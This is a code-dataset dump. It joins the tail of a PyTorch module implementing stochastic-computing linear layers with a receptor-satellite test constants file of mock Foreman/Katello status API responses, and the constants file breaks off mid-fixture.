self.kernel_inv(1 - input.type(torch.float)) return kernel_out + kernel_out_inv def forward(self, input): self.parallel_cnt.data = self.GainesKernel_accumulation(input).type(torch.long) if self.scaled is True: output = torch.ge(self.parallel_cnt.data, self.rng_scale[self.rng_scale_idx%len(self.rng_scale)]) self.rng_scale_idx.add_(1) else: if self.mode is "unipolar": output = torch.gt(self.parallel_cnt, 0) elif self.mode is "bipolar": self.parallel_cnt.mul_(2).sub_(self.input_cnt) self.cnt.data = self.cnt.add(self.parallel_cnt).clamp(0, self.max.item()) output = torch.gt(self.cnt, self.half_max) return output.type(torch.int8) class GainesLinear2(torch.nn.Module): """ gMUL + uADD this module is the fully connected layer, its API is similar to the parent class (input/output feature count, bias flag), except: 1) accumulation mode 2) unary data mode 3) binary data width 4) binary weight 5) binary bias """ def __init__(self, in_features, out_features, binary_weight=None, binary_bias=None, bitwidth=8, bias=True, mode="bipolar", scaled=True, depth=8, rng_idx=1): super(GainesLinear2, self).__init__() self.in_features = in_features self.out_features = out_features # upper bound for accumulation counter in non-scaled mode self.acc_bound = torch.nn.Parameter(torch.zeros(1), requires_grad=False) self.acc_bound.add_(in_features) if bias is True: self.acc_bound.add_(1) self.mode = mode self.scaled = scaled # accumulation offset self.offset = torch.nn.Parameter(torch.zeros(1), requires_grad=False) if mode is "unipolar": pass elif mode is "bipolar": self.offset.add_((in_features-1)/2) if bias is True: self.offset.add_(1/2) else: raise ValueError("UnaryLinear mode is not implemented.") # bias indication for original linear layer self.has_bias = bias # data bit width self.bitwidth = bitwidth # random_sequence from sobol RNG self.rng = RNGMulti(self.bitwidth, in_features, "Sobol")() self.rng_bias = RNG(self.bitwidth, in_features+1, "Sobol")() # define the convolution weight and bias self.buf_wght = SourceGen(binary_weight, bitwidth=self.bitwidth, mode=mode)() if self.has_bias is True: self.buf_bias = SourceGen(binary_bias, bitwidth=self.bitwidth, mode=mode)() # define the kernel linear self.kernel = torch.nn.Linear(self.in_features, self.out_features, bias=self.has_bias) self.buf_wght_bs = BSGenMulti(self.buf_wght, self.rng, dim=0) self.rng_wght_idx = torch.nn.Parameter(torch.zeros_like(self.kernel.weight, dtype=torch.long), requires_grad=False) if self.has_bias is True: self.buf_bias_bs = BSGen(self.buf_bias, self.rng_bias) self.rng_bias_idx = torch.nn.Parameter(torch.zeros_like(self.kernel.bias, dtype=torch.long), requires_grad=False) # if bipolar, define a kernel with inverse input, note that there is no bias required for this inverse kernel if self.mode is "bipolar": self.kernel_inv = torch.nn.Linear(self.in_features, self.out_features, bias=False) self.accumulator = torch.nn.Parameter(torch.zeros(1), requires_grad=False) if self.scaled is False: self.out_accumulator = torch.nn.Parameter(torch.zeros(1), requires_grad=False) def GainesKernel_accumulation(self, input): # generate weight and bias bits for current cycle self.kernel.weight.data = self.buf_wght_bs(self.rng_wght_idx).type(torch.float) self.rng_wght_idx.add_(1) if self.has_bias is True: self.kernel.bias.data = self.buf_bias_bs(self.rng_bias_idx).type(torch.float) self.rng_bias_idx.add_(1) kernel_out = self.kernel(input.type(torch.float)) if self.mode is "unipolar": return kernel_out if self.mode is "bipolar": self.kernel_inv.weight.data = 1 - self.kernel.weight.data kernel_out_inv = self.kernel_inv(1 - input.type(torch.float)) return kernel_out + kernel_out_inv def forward(self, input): if self.scaled is True: self.accumulator.data = self.accumulator.add(self.GainesKernel_accumulation(input)) output = torch.ge(self.accumulator, self.acc_bound).type(torch.float) self.accumulator.sub_(output * self.acc_bound) else: self.accumulator.data = self.accumulator.add(self.GainesKernel_accumulation(input)) self.accumulator.sub_(self.offset) output = torch.gt(self.accumulator, self.out_accumulator).type(torch.float) self.out_accumulator.data = self.out_accumulator.add(output) return output.type(torch.int8) class GainesLinear3(torch.nn.Module): """ uMUL + gADD: this version will not work well, due to same rng is used in uMUL, the accumulation will be inaccurate. this module is the fully connected layer, its API is similar to the parent class (input/output feature count, bias flag), except: 1) accumulation mode 2) unary data mode 3) binary data width 4) binary weight 5) binary bias """ def __init__(self, in_features, out_features, binary_weight=None, binary_bias=None, bitwidth=8, bias=True, mode="bipolar", scaled=True, depth=8, rng_idx=1): super(GainesLinear3, self).__init__() self.in_features = in_features self.out_features = out_features # upper bound for accumulation counter in non-scaled mode self.acc_bound = torch.nn.Parameter(torch.zeros(1), requires_grad=False) self.acc_bound.add_(in_features) if bias is True: self.acc_bound.add_(1) self.mode = mode self.scaled = scaled # accumulation offset self.offset = torch.nn.Parameter(torch.zeros(1), requires_grad=False) if mode is "unipolar": pass elif mode is "bipolar": self.offset.add_((in_features-1)/2) if bias is True: self.offset.add_(1/2) else: raise ValueError("UnaryLinear mode is not implemented.") # bias indication for original linear layer self.has_bias = bias # data bit width self.bitwidth = bitwidth # random_sequence from sobol RNG self.rng = RNG(self.bitwidth, 1, "Sobol")() # define the convolution weight and bias self.buf_wght = SourceGen(binary_weight, bitwidth=self.bitwidth, mode=mode)() if self.has_bias is True: self.buf_bias = SourceGen(binary_bias, bitwidth=self.bitwidth, mode=mode)() # define the kernel linear self.kernel = torch.nn.Linear(self.in_features, self.out_features, bias=self.has_bias) self.buf_wght_bs = BSGen(self.buf_wght, self.rng) self.rng_wght_idx = torch.nn.Parameter(torch.zeros_like(self.kernel.weight, dtype=torch.long), requires_grad=False) if self.has_bias is True: self.buf_bias_bs = BSGen(self.buf_bias, self.rng) self.rng_bias_idx = torch.nn.Parameter(torch.zeros_like(self.kernel.bias, dtype=torch.long), requires_grad=False) # if bipolar, define a kernel with inverse input, note that there is no bias required for this inverse kernel if self.mode is "bipolar": self.kernel_inv = torch.nn.Linear(self.in_features, self.out_features, bias=False) self.buf_wght_bs_inv = BSGen(self.buf_wght, self.rng) self.rng_wght_idx_inv = torch.nn.Parameter(torch.zeros_like(self.kernel_inv.weight, dtype=torch.long), requires_grad=False) self.parallel_cnt = torch.nn.Parameter(torch.zeros(1, dtype=torch.long), requires_grad=False) if self.scaled is True: self.rng_scale = RNG(round(math.log2(self.acc_bound.item())), (rng_idx+5)%1111, "Sobol")() self.rng_scale_idx = torch.nn.Parameter(torch.zeros(1, dtype=torch.long), requires_grad=False) elif self.scaled is False: self.input_cnt = self.acc_bound.item() self.max = torch.nn.Parameter(torch.ones(1, dtype=torch.long).fill_(2**depth-1), requires_grad=False) self.half_max = torch.nn.Parameter(torch.ones(1, dtype=torch.long).fill_(2**(depth-1)), requires_grad=False) self.cnt = torch.nn.Parameter(torch.zeros(1, dtype=torch.long).fill_(2**(depth-1)), requires_grad=False) def UnaryKernel_accumulation(self, input): # generate weight and bias bits for current cycle self.kernel.weight.data = self.buf_wght_bs(self.rng_wght_idx).type(torch.float) self.rng_wght_idx.add_(input.type(torch.long)) if self.has_bias is True: self.kernel.bias.data = self.buf_bias_bs(self.rng_bias_idx).type(torch.float) self.rng_bias_idx.add_(1) kernel_out = self.kernel(input.type(torch.float)) if self.mode is "unipolar": return kernel_out if self.mode is "bipolar": self.kernel_inv.weight.data = 1 - self.buf_wght_bs_inv(self.rng_wght_idx_inv).type(torch.float) self.rng_wght_idx_inv.add_(1 - input.type(torch.long)) kernel_out_inv = self.kernel_inv(1 - input.type(torch.float)) return kernel_out + kernel_out_inv def forward(self, input): self.parallel_cnt.data = self.UnaryKernel_accumulation(input).type(torch.long) if self.scaled is True: output = torch.ge(self.parallel_cnt.data, self.rng_scale[self.rng_scale_idx%len(self.rng_scale)]) self.rng_scale_idx.add_(1) else: if self.mode is "unipolar": output = torch.gt(self.parallel_cnt, 0) elif self.mode is "bipolar": self.parallel_cnt.mul_(2).sub_(self.input_cnt) self.cnt.data = self.cnt.add(self.parallel_cnt).clamp(0, self.max.item()) output = torch.gt(self.cnt, self.half_max) return output.type(torch.int8) class GainesLinear4(torch.nn.Module): """ gMUL + gADD, this module is the same as GainesLinear1, except the rng is lfsr this module is the fully connected layer, its API is similar to the parent class (input/output feature count, bias flag), except: 1) accumulation mode 2) unary data mode 3) binary data width 4) binary weight 5) binary bias """ def __init__(self, in_features, out_features, binary_weight=None, binary_bias=None, bitwidth=8, bias=True, mode="bipolar", scaled=True, depth=8, rng_idx=1): super(GainesLinear4, self).__init__() self.in_features = in_features self.out_features = out_features # upper bound for accumulation counter in non-scaled mode self.acc_bound = torch.nn.Parameter(torch.zeros(1), requires_grad=False) self.acc_bound.add_(in_features) if bias is True: self.acc_bound.add_(1) self.mode = mode self.scaled = scaled # accumulation offset self.offset = torch.nn.Parameter(torch.zeros(1), requires_grad=False) if mode is "unipolar": pass elif mode is "bipolar": self.offset.add_((in_features-1)/2) if bias is True: self.offset.add_(1/2) else: raise ValueError("UnaryLinear mode is not implemented.") # bias indication for original linear layer self.has_bias = bias # data bit width self.bitwidth = bitwidth # random_sequence from sobol RNG self.rng = RNGMulti(self.bitwidth, in_features, "LFSR")() self.rng_bias = RNG(self.bitwidth, in_features+1, "LFSR")() # define the convolution weight and bias self.buf_wght = SourceGen(binary_weight, bitwidth=self.bitwidth, mode=mode)() if self.has_bias is True: self.buf_bias = SourceGen(binary_bias, bitwidth=self.bitwidth, mode=mode)() # define the kernel linear self.kernel = torch.nn.Linear(self.in_features, self.out_features, bias=self.has_bias) self.buf_wght_bs = BSGenMulti(self.buf_wght, self.rng, dim=0) self.rng_wght_idx = torch.nn.Parameter(torch.zeros_like(self.kernel.weight, dtype=torch.long), requires_grad=False) if self.has_bias is True: self.buf_bias_bs = BSGen(self.buf_bias, self.rng_bias) self.rng_bias_idx = torch.nn.Parameter(torch.zeros_like(self.kernel.bias, dtype=torch.long), requires_grad=False) # if bipolar, define a kernel with inverse input, note that there is no bias required for this inverse kernel if self.mode is "bipolar": self.kernel_inv = torch.nn.Linear(self.in_features, self.out_features, bias=False) self.parallel_cnt = torch.nn.Parameter(torch.zeros(1, dtype=torch.long), requires_grad=False) if self.scaled is True: self.rng_scale = RNG(round(math.log2(self.acc_bound.item())), (rng_idx+5)%1111, "LFSR")() self.rng_scale_idx = torch.nn.Parameter(torch.zeros(1, dtype=torch.long), requires_grad=False) elif self.scaled is False: self.input_cnt = self.acc_bound.item() self.max = torch.nn.Parameter(torch.ones(1, dtype=torch.long).fill_(2**depth-1), requires_grad=False) self.half_max = torch.nn.Parameter(torch.ones(1, dtype=torch.long).fill_(2**(depth-1)), requires_grad=False) self.cnt = torch.nn.Parameter(torch.zeros(1, dtype=torch.long).fill_(2**(depth-1)), requires_grad=False) def GainesKernel_accumulation(self, input): # generate weight and bias bits for current cycle self.kernel.weight.data = self.buf_wght_bs(self.rng_wght_idx).type(torch.float) self.rng_wght_idx.add_(1) if self.has_bias is True: self.kernel.bias.data = self.buf_bias_bs(self.rng_bias_idx).type(torch.float) self.rng_bias_idx.add_(1) kernel_out = self.kernel(input.type(torch.float)) if self.mode is "unipolar": return kernel_out if self.mode is "bipolar": self.kernel_inv.weight.data = 1 - self.kernel.weight.data kernel_out_inv = self.kernel_inv(1 - input.type(torch.float)) return kernel_out + kernel_out_inv def forward(self, input): self.parallel_cnt.data = self.GainesKernel_accumulation(input).type(torch.long) if self.scaled is True: output = torch.ge(self.parallel_cnt.data, self.rng_scale[self.rng_scale_idx%len(self.rng_scale)]) self.rng_scale_idx.add_(1) else: if self.mode is "unipolar": output = torch.gt(self.parallel_cnt, 0) elif self.mode is "bipolar": self.parallel_cnt.mul_(2).sub_(self.input_cnt) self.cnt.data = self.cnt.add(self.parallel_cnt).clamp(0, self.max.item()) output = torch.gt(self.cnt, self.half_max) return output.type(torch.int8)

43.75256

135

0.618355

3,407

25,639

4.481655

0.04843

0.033925

0.042963

0.056389

0.962146

0.954745

0.953435

0.9461

0

0.009836

0.282304

25,639

586

136

43.75256

0.819955

0.126721

0

0.913924

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0.022461

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false

0.012658

0.007595

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0.096203

0

null

0

1

0

1

0

null

0

7

a1b60cf095623bc5ad388640ead31affce2bc547

24,502

py

Python

tests/constants.py

adamruzicka/receptor-satellite-1

5479ab5cf1d9fc1353190f9122993caeec44ee61

[ "Apache-2.0" ]

2

2020-02-27T18:47:16.000Z

2020-03-03T14:01:01.000Z

tests/constants.py

adamruzicka/receptor-satellite-1

5479ab5cf1d9fc1353190f9122993caeec44ee61

[ "Apache-2.0" ]

9

2020-06-17T10:55:16.000Z

2021-02-19T15:29:16.000Z

tests/constants.py

adamruzicka/receptor-satellite-1

5479ab5cf1d9fc1353190f9122993caeec44ee61

[ "Apache-2.0" ]

1

2020-02-17T21:47:47.000Z

import json __all__ = [ "PLUGIN_CONFIG", "UUID", "BAD_UUID", "UUID_URL", "STATUSES_URL", "MISSING_UUID_RESPONSE_BODY", "UUID_RESPONSE_BODY", "STATUSES_RESPONSE_BODY", "NO_ANSIBLE_STATUSES_RESPONSE_BODY", "NO_CAPSULES_STATUSES_RESPONSE_BODY", "DOWN_CAPSULE_STATUSES_RESPONSE_BODY", ] PLUGIN_CONFIG = dict( username="username", password="password", url="http://localhost", ca_file=None ) UUID = "dd77f17a-2fe1-4f7a-b220-58f4140a1f9e" BAD_UUID = "1" UUID_URL = f"{PLUGIN_CONFIG['url']}/api/settings?search=name%20%3D%20instance_id" STATUSES_URL = f"{PLUGIN_CONFIG['url']}/api/statuses" MISSING_UUID_RESPONSE_BODY = json.dumps( { "total": 230, "subtotal": 0, "page": 1, "per_page": 20, "search": "name = instance_id", "sort": {"by": None, "order": None}, "results": [], } ) UUID_RESPONSE_BODY = json.dumps( { "total": 230, "subtotal": 1, "page": 1, "per_page": 20, "search": "name = instance_id", "sort": {"by": None, "order": None}, "results": [ { "value": UUID, "description": "Foreman instance ID, uniquely identifies this Foreman instance.", "category": "Setting::General", "settings_type": "string", "default": "uuid", "created_at": "2019-11-18 11:51:49 UTC", "updated_at": "2019-11-18 11:51:49 UTC", "id": 128, "name": "instance_id", "full_name": "Foreman UUID", "category_name": "General", } ], } ) STATUSES_RESPONSE_BODY = json.dumps( { "results": { "foreman": { "version": "1.24.0", "api": {"version": "v2"}, "plugins": [ "Foreman plugin: foreman-tasks, 0.17.5, Ivan Ne\u010das, The goal of this plugin is to unify the way of showing task statuses across the Foreman instance.\nIt defines Task model for keeping the information about the tasks and Lock for assigning the tasks\nto resources. The locking allows dealing with preventing multiple colliding tasks to be run on the\nsame resource. It also optionally provides Dynflow infrastructure for using it for managing the tasks.\n", "Foreman plugin: foreman_ansible, 4.0.3, Daniel Lobato Garcia, Ansible integration with Foreman", "Foreman plugin: foreman_bootdisk, 16.0.0, Dominic Cleal, Plugin for Foreman that creates iPXE-based boot disks to provision hosts without the need for PXE infrastructure.", "Foreman plugin: foreman_discovery, 16.0.1, Aditi Puntambekar, alongoldboim, Alon Goldboim, amirfefer, Amit Karsale, Amos Benari, Avi Sharvit, Bryan Kearney, bshuster, Daniel Lobato, Daniel Lobato Garcia, Daniel Lobato Garc\u00eda, Danny Smit, David Davis, Djebran Lezzoum, Dominic Cleal, Eric D. Helms, Ewoud Kohl van Wijngaarden, Frank Wall, Greg Sutcliffe, ChairmanTubeAmp, Ido Kanner, imriz, Imri Zvik, Ivan Ne\u010das, Joseph Mitchell Magen, June Zhang, kgaikwad, Lars Berntzon, ldjebran, Lukas Zapletal, Luk\u00e1\u0161 Zapletal, Marek Hulan, Marek Hul\u00e1n, Martin Ba\u010dovsk\u00fd, Matt Jarvis, Michael Moll, Nick, odovzhenko, Ohad Levy, Ondrej Prazak, Ond\u0159ej Ezr, Ori Rabin, orrabin, Partha Aji, Petr Chalupa, Phirince Philip, Rahul Bajaj, Robert Antoni Buj Gelonch, Scubafloyd, Sean O\\'Keeffe, Sebastian Gra\u0308\u00dfl, Shimon Shtein, Shlomi Zadok, Stephen Benjamin, Swapnil Abnave, Thomas Gelf, Timo Goebel, Tomas Strych, Tom Caspy, Tomer Brisker, and Yann C\u00e9zard, MaaS Discovery Plugin engine for Foreman", "Foreman plugin: foreman_hooks, 0.3.15, Dominic Cleal, Plugin engine for Foreman that enables running custom hook scripts on Foreman events", "Foreman plugin: foreman_inventory_upload, 1.0.2, Inventory upload team, Foreman plugin that process & upload data to cloud based host inventory", "Foreman plugin: foreman_openscap, 2.0.2, slukasik@redhat.com, Foreman plug-in for managing security compliance reports", "Foreman plugin: foreman_remote_execution, 2.0.6, Foreman Remote Execution team, A plugin bringing remote execution to the Foreman, completing the config management functionality with remote management functionality.", "Foreman plugin: foreman_templates, 7.0.5, Greg Sutcliffe, Engine to synchronise provisioning templates from GitHub", "Foreman plugin: foreman_theme_satellite, 5.0.1.5, Alon Goldboim, Shimon Stein, Theme changes for Satellite 6.", "Foreman plugin: foreman_virt_who_configure, 0.5.0, Foreman virt-who-configure team, A plugin to make virt-who configuration easy", "Foreman plugin: katello, 3.14.0.1, N/A, Katello adds Content and Subscription Management to Foreman. For this it relies on Candlepin and Pulp.", "Foreman plugin: redhat_access, 2.2.8, Lindani Phiri, This plugin adds Red Hat Access knowledge base search, case management and diagnostics to Foreman", ], "smart_proxies": [ { "name": "foreman-nuc1.usersys.redhat.com", "status": "ok", "duration_ms": "138", "version": "1.24.0", "features": { "pulp": "1.5.0", "dynflow": "0.2.4", "ansible": "3.0.1", "discovery": "1.0.5", "openscap": "0.7.2", "ssh": "0.2.1", "dns": "1.24.0", "templates": "1.24.0", "tftp": "1.24.0", "dhcp": "1.24.0", "puppetca": "1.24.0", "puppet": "1.24.0", "logs": "1.24.0", "httpboot": "1.24.0", }, "failed_features": {}, } ], "compute_resources": [ { "name": "libvirt", "status": "ok", "duration_ms": "85", "errors": [], } ], "database": {"active": True, "duration_ms": "0"}, }, "katello": { "version": "3.14.0.1", "timeUTC": "2020-02-18 19:52:16 UTC", "services": { "pulp": {"status": "ok", "duration_ms": "31"}, "pulp_auth": {"status": "ok", "duration_ms": "16"}, "candlepin": {"status": "ok", "duration_ms": "10"}, "candlepin_auth": {"status": "ok", "duration_ms": "12"}, "foreman_tasks": {"status": "ok", "duration_ms": "3"}, "katello_events": { "status": "ok", "message": "0 Processed, 0 Failed", "duration_ms": "0", }, "candlepin_events": { "status": "ok", "message": "0 Processed, 0 Failed", "duration_ms": "0", }, }, "status": "ok", }, } } ) NO_CAPSULES_STATUSES_RESPONSE_BODY = json.dumps( { "results": { "foreman": { "version": "1.24.0", "api": {"version": "v2"}, "plugins": [ "Foreman plugin: foreman-tasks, 0.17.5, Ivan Ne\u010das, The goal of this plugin is to unify the way of showing task statuses across the Foreman instance.\nIt defines Task model for keeping the information about the tasks and Lock for assigning the tasks\nto resources. The locking allows dealing with preventing multiple colliding tasks to be run on the\nsame resource. It also optionally provides Dynflow infrastructure for using it for managing the tasks.\n", "Foreman plugin: foreman_ansible, 4.0.3, Daniel Lobato Garcia, Ansible integration with Foreman", "Foreman plugin: foreman_bootdisk, 16.0.0, Dominic Cleal, Plugin for Foreman that creates iPXE-based boot disks to provision hosts without the need for PXE infrastructure.", "Foreman plugin: foreman_discovery, 16.0.1, Aditi Puntambekar, alongoldboim, Alon Goldboim, amirfefer, Amit Karsale, Amos Benari, Avi Sharvit, Bryan Kearney, bshuster, Daniel Lobato, Daniel Lobato Garcia, Daniel Lobato Garc\u00eda, Danny Smit, David Davis, Djebran Lezzoum, Dominic Cleal, Eric D. Helms, Ewoud Kohl van Wijngaarden, Frank Wall, Greg Sutcliffe, ChairmanTubeAmp, Ido Kanner, imriz, Imri Zvik, Ivan Ne\u010das, Joseph Mitchell Magen, June Zhang, kgaikwad, Lars Berntzon, ldjebran, Lukas Zapletal, Luk\u00e1\u0161 Zapletal, Marek Hulan, Marek Hul\u00e1n, Martin Ba\u010dovsk\u00fd, Matt Jarvis, Michael Moll, Nick, odovzhenko, Ohad Levy, Ondrej Prazak, Ond\u0159ej Ezr, Ori Rabin, orrabin, Partha Aji, Petr Chalupa, Phirince Philip, Rahul Bajaj, Robert Antoni Buj Gelonch, Scubafloyd, Sean O\\'Keeffe, Sebastian Gra\u0308\u00dfl, Shimon Shtein, Shlomi Zadok, Stephen Benjamin, Swapnil Abnave, Thomas Gelf, Timo Goebel, Tomas Strych, Tom Caspy, Tomer Brisker, and Yann C\u00e9zard, MaaS Discovery Plugin engine for Foreman", "Foreman plugin: foreman_hooks, 0.3.15, Dominic Cleal, Plugin engine for Foreman that enables running custom hook scripts on Foreman events", "Foreman plugin: foreman_inventory_upload, 1.0.2, Inventory upload team, Foreman plugin that process & upload data to cloud based host inventory", "Foreman plugin: foreman_openscap, 2.0.2, slukasik@redhat.com, Foreman plug-in for managing security compliance reports", "Foreman plugin: foreman_remote_execution, 2.0.6, Foreman Remote Execution team, A plugin bringing remote execution to the Foreman, completing the config management functionality with remote management functionality.", "Foreman plugin: foreman_templates, 7.0.5, Greg Sutcliffe, Engine to synchronise provisioning templates from GitHub", "Foreman plugin: foreman_theme_satellite, 5.0.1.5, Alon Goldboim, Shimon Stein, Theme changes for Satellite 6.", "Foreman plugin: foreman_virt_who_configure, 0.5.0, Foreman virt-who-configure team, A plugin to make virt-who configuration easy", "Foreman plugin: katello, 3.14.0.1, N/A, Katello adds Content and Subscription Management to Foreman. For this it relies on Candlepin and Pulp.", "Foreman plugin: redhat_access, 2.2.8, Lindani Phiri, This plugin adds Red Hat Access knowledge base search, case management and diagnostics to Foreman", ], "compute_resources": [ { "name": "libvirt", "status": "ok", "duration_ms": "85", "errors": [], } ], "database": {"active": True, "duration_ms": "0"}, }, "katello": { "version": "3.14.0.1", "timeUTC": "2020-02-18 19:52:16 UTC", "services": { "pulp": {"status": "ok", "duration_ms": "31"}, "pulp_auth": {"status": "ok", "duration_ms": "16"}, "candlepin": {"status": "ok", "duration_ms": "10"}, "candlepin_auth": {"status": "ok", "duration_ms": "12"}, "foreman_tasks": {"status": "ok", "duration_ms": "3"}, "katello_events": { "status": "ok", "message": "0 Processed, 0 Failed", "duration_ms": "0", }, "candlepin_events": { "status": "ok", "message": "0 Processed, 0 Failed", "duration_ms": "0", }, }, "status": "ok", }, } } ) NO_ANSIBLE_STATUSES_RESPONSE_BODY = json.dumps( { "results": { "foreman": { "version": "1.24.0", "api": {"version": "v2"}, "plugins": [ "Foreman plugin: foreman-tasks, 0.17.5, Ivan Ne\u010das, The goal of this plugin is to unify the way of showing task statuses across the Foreman instance.\nIt defines Task model for keeping the information about the tasks and Lock for assigning the tasks\nto resources. The locking allows dealing with preventing multiple colliding tasks to be run on the\nsame resource. It also optionally provides Dynflow infrastructure for using it for managing the tasks.\n", "Foreman plugin: foreman_ansible, 4.0.3, Daniel Lobato Garcia, Ansible integration with Foreman", "Foreman plugin: foreman_bootdisk, 16.0.0, Dominic Cleal, Plugin for Foreman that creates iPXE-based boot disks to provision hosts without the need for PXE infrastructure.", "Foreman plugin: foreman_discovery, 16.0.1, Aditi Puntambekar, alongoldboim, Alon Goldboim, amirfefer, Amit Karsale, Amos Benari, Avi Sharvit, Bryan Kearney, bshuster, Daniel Lobato, Daniel Lobato Garcia, Daniel Lobato Garc\u00eda, Danny Smit, David Davis, Djebran Lezzoum, Dominic Cleal, Eric D. Helms, Ewoud Kohl van Wijngaarden, Frank Wall, Greg Sutcliffe, ChairmanTubeAmp, Ido Kanner, imriz, Imri Zvik, Ivan Ne\u010das, Joseph Mitchell Magen, June Zhang, kgaikwad, Lars Berntzon, ldjebran, Lukas Zapletal, Luk\u00e1\u0161 Zapletal, Marek Hulan, Marek Hul\u00e1n, Martin Ba\u010dovsk\u00fd, Matt Jarvis, Michael Moll, Nick, odovzhenko, Ohad Levy, Ondrej Prazak, Ond\u0159ej Ezr, Ori Rabin, orrabin, Partha Aji, Petr Chalupa, Phirince Philip, Rahul Bajaj, Robert Antoni Buj Gelonch, Scubafloyd, Sean O\\'Keeffe, Sebastian Gra\u0308\u00dfl, Shimon Shtein, Shlomi Zadok, Stephen Benjamin, Swapnil Abnave, Thomas Gelf, Timo Goebel, Tomas Strych, Tom Caspy, Tomer Brisker, and Yann C\u00e9zard, MaaS Discovery Plugin engine for Foreman", "Foreman plugin: foreman_hooks, 0.3.15, Dominic Cleal, Plugin engine for Foreman that enables running custom hook scripts on Foreman events", "Foreman plugin: foreman_inventory_upload, 1.0.2, Inventory upload team, Foreman plugin that process & upload data to cloud based host inventory", "Foreman plugin: foreman_openscap, 2.0.2, slukasik@redhat.com, Foreman plug-in for managing security compliance reports", "Foreman plugin: foreman_remote_execution, 2.0.6, Foreman Remote Execution team, A plugin bringing remote execution to the Foreman, completing the config management functionality with remote management functionality.", "Foreman plugin: foreman_templates, 7.0.5, Greg Sutcliffe, Engine to synchronise provisioning templates from GitHub", "Foreman plugin: foreman_theme_satellite, 5.0.1.5, Alon Goldboim, Shimon Stein, Theme changes for Satellite 6.", "Foreman plugin: foreman_virt_who_configure, 0.5.0, Foreman virt-who-configure team, A plugin to make virt-who configuration easy", "Foreman plugin: katello, 3.14.0.1, N/A, Katello adds Content and Subscription Management to Foreman. For this it relies on Candlepin and Pulp.", "Foreman plugin: redhat_access, 2.2.8, Lindani Phiri, This plugin adds Red Hat Access knowledge base search, case management and diagnostics to Foreman", ], "smart_proxies": [ { "name": "foreman-nuc1.usersys.redhat.com", "status": "ok", "duration_ms": "138", "version": "1.24.0", "features": { "pulp": "1.5.0", "dynflow": "0.2.4", "discovery": "1.0.5", "openscap": "0.7.2", "ssh": "0.2.1", "dns": "1.24.0", "templates": "1.24.0", "tftp": "1.24.0", "dhcp": "1.24.0", "puppetca": "1.24.0", "puppet": "1.24.0", "logs": "1.24.0", "httpboot": "1.24.0", }, "failed_features": {}, } ], "compute_resources": [ { "name": "libvirt", "status": "ok", "duration_ms": "85", "errors": [], } ], "database": {"active": True, "duration_ms": "0"}, }, "katello": { "version": "3.14.0.1", "timeUTC": "2020-02-18 19:52:16 UTC", "services": { "pulp": {"status": "ok", "duration_ms": "31"}, "pulp_auth": {"status": "ok", "duration_ms": "16"}, "candlepin": {"status": "ok", "duration_ms": "10"}, "candlepin_auth": {"status": "ok", "duration_ms": "12"}, "foreman_tasks": {"status": "ok", "duration_ms": "3"}, "katello_events": { "status": "ok", "message": "0 Processed, 0 Failed", "duration_ms": "0", }, "candlepin_events": { "status": "ok", "message": "0 Processed, 0 Failed", "duration_ms": "0", }, }, "status": "ok", }, } } ) DOWN_CAPSULE_STATUSES_RESPONSE_BODY = json.dumps( { "results": { "foreman": { "version": "1.24.0", "api": {"version": "v2"}, "plugins": [ "Foreman plugin: foreman-tasks, 0.17.5, Ivan Ne\u010das, The goal of this plugin is to unify the way of showing task statuses across the Foreman instance.\nIt defines Task model for keeping the information about the tasks and Lock for assigning the tasks\nto resources. The locking allows dealing with preventing multiple colliding tasks to be run on the\nsame resource. It also optionally provides Dynflow infrastructure for using it for managing the tasks.\n", "Foreman plugin: foreman_ansible, 4.0.3, Daniel Lobato Garcia, Ansible integration with Foreman", "Foreman plugin: foreman_bootdisk, 16.0.0, Dominic Cleal, Plugin for Foreman that creates iPXE-based boot disks to provision hosts without the need for PXE infrastructure.", "Foreman plugin: foreman_discovery, 16.0.1, Aditi Puntambekar, alongoldboim, Alon Goldboim, amirfefer, Amit Karsale, Amos Benari, Avi Sharvit, Bryan Kearney, bshuster, Daniel Lobato, Daniel Lobato Garcia, Daniel Lobato Garc\u00eda, Danny Smit, David Davis, Djebran Lezzoum, Dominic Cleal, Eric D. Helms, Ewoud Kohl van Wijngaarden, Frank Wall, Greg Sutcliffe, ChairmanTubeAmp, Ido Kanner, imriz, Imri Zvik, Ivan Ne\u010das, Joseph Mitchell Magen, June Zhang, kgaikwad, Lars Berntzon, ldjebran, Lukas Zapletal, Luk\u00e1\u0161 Zapletal, Marek Hulan, Marek Hul\u00e1n, Martin Ba\u010dovsk\u00fd, Matt Jarvis, Michael Moll, Nick, odovzhenko, Ohad Levy, Ondrej Prazak, Ond\u0159ej Ezr, Ori Rabin, orrabin, Partha Aji, Petr Chalupa, Phirince Philip, Rahul Bajaj, Robert Antoni Buj Gelonch, Scubafloyd, Sean O\\'Keeffe, Sebastian Gra\u0308\u00dfl, Shimon Shtein, Shlomi Zadok, Stephen Benjamin, Swapnil Abnave, Thomas Gelf, Timo Goebel, Tomas Strych, Tom Caspy, Tomer Brisker, and Yann C\u00e9zard, MaaS Discovery Plugin engine for Foreman", "Foreman plugin: foreman_hooks, 0.3.15, Dominic Cleal, Plugin engine for Foreman that enables running custom hook scripts on Foreman events", "Foreman plugin: foreman_inventory_upload, 1.0.2, Inventory upload team, Foreman plugin that process & upload data to cloud based host inventory", "Foreman plugin: foreman_openscap, 2.0.2, slukasik@redhat.com, Foreman plug-in for managing security compliance reports", "Foreman plugin: foreman_remote_execution, 2.0.6, Foreman Remote Execution team, A plugin bringing remote execution to the Foreman, completing the config management functionality with remote management functionality.", "Foreman plugin: foreman_templates, 7.0.5, Greg Sutcliffe, Engine to synchronise provisioning templates from GitHub", "Foreman plugin: foreman_theme_satellite, 5.0.1.5, Alon Goldboim, Shimon Stein, Theme changes for Satellite 6.", "Foreman plugin: foreman_virt_who_configure, 0.5.0, Foreman virt-who-configure team, A plugin to make virt-who configuration easy", "Foreman plugin: katello, 3.14.0.1, N/A, Katello adds Content and Subscription Management to Foreman. For this it relies on Candlepin and Pulp.", "Foreman plugin: redhat_access, 2.2.8, Lindani Phiri, This plugin adds Red Hat Access knowledge base search, case management and diagnostics to Foreman", ], "smart_proxies": [ { "name": "foreman-nuc1.usersys.redhat.com", "status": "error", "duration_ms": "138", "version": "1.24.0", "features": { "pulp": "1.5.0", "dynflow": "0.2.4", "ansible": "3.0.1", "discovery": "1.0.5", "openscap": "0.7.2", "ssh": "0.2.1", "dns": "1.24.0", "templates": "1.24.0", "tftp": "1.24.0", "dhcp": "1.24.0", "puppetca": "1.24.0", "puppet": "1.24.0", "logs": "1.24.0", "httpboot": "1.24.0", }, "failed_features": {}, } ], "compute_resources": [ { "name": "libvirt", "status": "ok", "duration_ms": "85", "errors": [], } ], "database": {"active": True, 